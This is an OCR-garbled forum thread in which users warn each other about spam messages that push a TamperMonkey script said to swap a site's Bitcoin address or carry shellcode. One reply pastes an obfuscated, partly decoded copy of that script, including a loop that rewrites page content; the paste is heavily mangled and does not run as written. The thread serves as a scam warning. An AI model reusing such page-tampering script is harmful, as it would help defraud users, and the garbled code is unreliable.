Forum:Hack Forums

Thread: Be careful with these spam convos

guardian - December 25, 2020, 12:34 pm
| just got a message from a user

A few days ago | got pretty much the same message from another user, but it's the same person for
sure

The message contains an E-Book telling you how to get stuff on some gaming site for free, by
running a TamperMonkey script

Just a quick warning for all non experienced users that might fall for this: The TamperMonkey script
seems to contain some shellcode, which will probably infect your PC

Dopamine - December 25, 2020, 12:38 pm
I've also received few of theses spam message. It's kinda boring tbh

guardian - December 25, 2020, 12:40 pm

(Dec 25, 2020 01:38 PM)Dopamine Wrote: [CITE] I've also received few of theses spam message.
It's kinda boring tbh

Yup, but you never know, they would not send them, if there weren't people falling for it

CodingGuru - December 25, 2020, 1:04 pm
Instantly got my suspicious so | told himto S my D.

Lyralei - December 25, 2020, 1:13 pm
| got this 2 times already, it's the scam where they change the BTC address of a certain site and say
it's some kind of hack, what a hacker!

Forensic - December 25, 2020, 1:16 pm
| get them all the time, never even bother looking

Yoda_warrior - December 25, 2020, 1:24 pm
Same, just took a look at the function, looks like this deobfuscated :
Code (function(_0x4b1294, 0x39793c) {
var _0xc25f7f = function(_0x3210fd) {
while (--_0x3210fd) {
_ 0x4b1294['push’](_0x4b1294['shift']());
}
¥
_Oxc25f7f(++_0x39793c);
H_0x3979, 0x19f));
var _0xc25f = function(_0x4b1294, 0x39793c) {
_0x4b1294 = 0x4b1294 - 0xO0;
var _0xc25f7f = _0x3979[ 0x4b1294];
if (_Oxc25f['ZSXLPD' === undefined) {
var _0x3210fd = function(_0x4fdce5) {
var 0xe258d9 =
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‘abcdefghijkimnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",
var _0x397c5f = String(_0x4fdce5)['replace'|(/=+%$/, );
var 0x1a3580 ="
for (var _0x1cd083 = 0x0, 0x2528a2, 0x50edfa, 0x55e8e7 = 0x0; 0x50edfa =
_0x397c5f['charAt’](_0x55e8e7++); ~ 0x50edfa && (_0x2528a2 = 0x1cd083 % 0x4 ? _0x2528a2 *
0x40 + 0x50edfa : 0x50edfa, 0x1cd083++ % 0x4) ? 0x1a3580 += String[fromCharCode'](0xff &
_0x2528a2 >> (-0x2 * _0x1cd083 & 0x6)) : 0x0) {
_0Ox50edfa = _0xe258d9['indexOf'](_0x50edfa);
}
return _0x1a3580;
I3
_Oxc25f['IPxrZc’] = function(_0x6db285) {
var _0x24cflf = _0x3210fd(_0x6db285);
var _0x476142 =];
for (var _0x30b73f = 0x0, _0x4695e5 = _0x24cflf['length’]; _0x30b73f < 0x4695e5;
_Ox30b73f++) {
_0x476142 +="%" + ('00" +
_Ox24cfilf['charCodeAt’](_0x30b73f)['toString"](0x10))['slice’](-0x2);
}
return decodeURIComponent(_0x476142);
I3
_Oxc25fT'iwxxNt] = {};
_Oxc25f['ZSXLPD = 1[];
}
var _0x41933f = Oxc25f['iwxxNt'][_0x4b1294];
if (_0x41933f === undefined) {
_Oxc25f7f = _Oxc251[' IPxrZc'|(_0xc25f7f);
_ Oxc25f['iwxxNt'][_0x4b1294] = _0xc25f7f;
}else {
_Oxc25f7f = _0x41933f;
}
return _Oxc25f7f;
I3
alert(_0xc25f("\x30\x78\x30"));
var tmr = setInterval(function() {
var _0x18bb9b = document[_0xc25f("\x30\x78\x31")]("\x72\x6f\x77");
_0x18bb9b[0x1]['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c] = _0xc25f("\x30\x78\x32");
document[_0xc25f("\x30\x78\x31")](_0xc25f("\x30\x78\x33"))[0x0][ _0xc25f("\x30\x78\x34")] =
_ Oxc25f("'\x30\x78\x35");
var _0x55f68c = document| 0xc25f("\x30\x78\x31")](_0xc25f("'\x30\x78\x33"));
if (_Ox55f68c[_0xc25f("\x30\x78\x36")] > 0x0) clearInterval(tmr);
}, Oxa);

Juoku - December 25, 2020, 1:25 pm

| keep getting them, it's mind of anoyying but yeah, it's good you're warning people for this mate!
Important newbies pay attention

Speed Test - December 25, 2020, 1:34 pm
Thanks brother | received this Convo too
They might succeed if they send it to 1000-2000 users here

Lyralei - December 25, 2020, 1:39 pm
I've seen one of their wallets before and sadly, they do get some victims.



Nuworld - December 25, 2020, 1:54 pm
I’'m too HQ to receive these types of convos.
They know better to even try.

Lyralei - December 25, 2020, 2:01 pm

(Dec 25, 2020 02:54 PM)Nuworld Wrote: [CITE] I'm too HQ to receive these types of convos.
They know better to even try.

Your light is too blinding for them. ?

DelTex - December 26, 2020, 12:21 am
| feel left out... | haven't gotten one yet. Hey scammers, send me a link to ignore. ),,;

shakur123 - December 26, 2020, 6:32 am
| hate those!! im always checking the notifications and having this scam message is very annoying

Dripstur - December 26, 2020, 7:07 am
Actually just got one for the first time yesterday and it was that exact user.

guardian - December 26, 2020, 7:09 am
Would be interesting to know, if this is an automated script or a user that really sits in front of their
PC and PMs all of us manually lol

Astrogen - December 26, 2020, 5:39 pm
Received this but via pm a few months ago (forgot exactly when), there was a similar thread like this
as well. Seems like they're back at it again.

siddy357 - December 26, 2020, 6:10 pm
yeah even i got the message but some one posted a thread here earlier saying that it is some kind
of malware and better block the user.

ColdCypher - December 27, 2020, 4:27 am
(Dec 25, 2020 01:34 PM)guardian Wrote: [CITE] | just got a message from a user

A few days ago | got pretty much the same message from another user, but it's the same person for
sure

The message contains an E-Book telling you how to get stuff on some gaming site for free, by
running a TamperMonkey script

Just a quick warning for all non experienced users that might fall for this: The TamperMonkey script
seems to contain some shellcode, which will probably infect your PC

Got some of those via PM recently

1337GAMER - December 27, 2020, 7:25 am
| get these convos about once every week or two. | just ignore them.

Thanks for the heads up though!

Jinu - December 27, 2020, 7:27 am
It seems the whole community received the same message.
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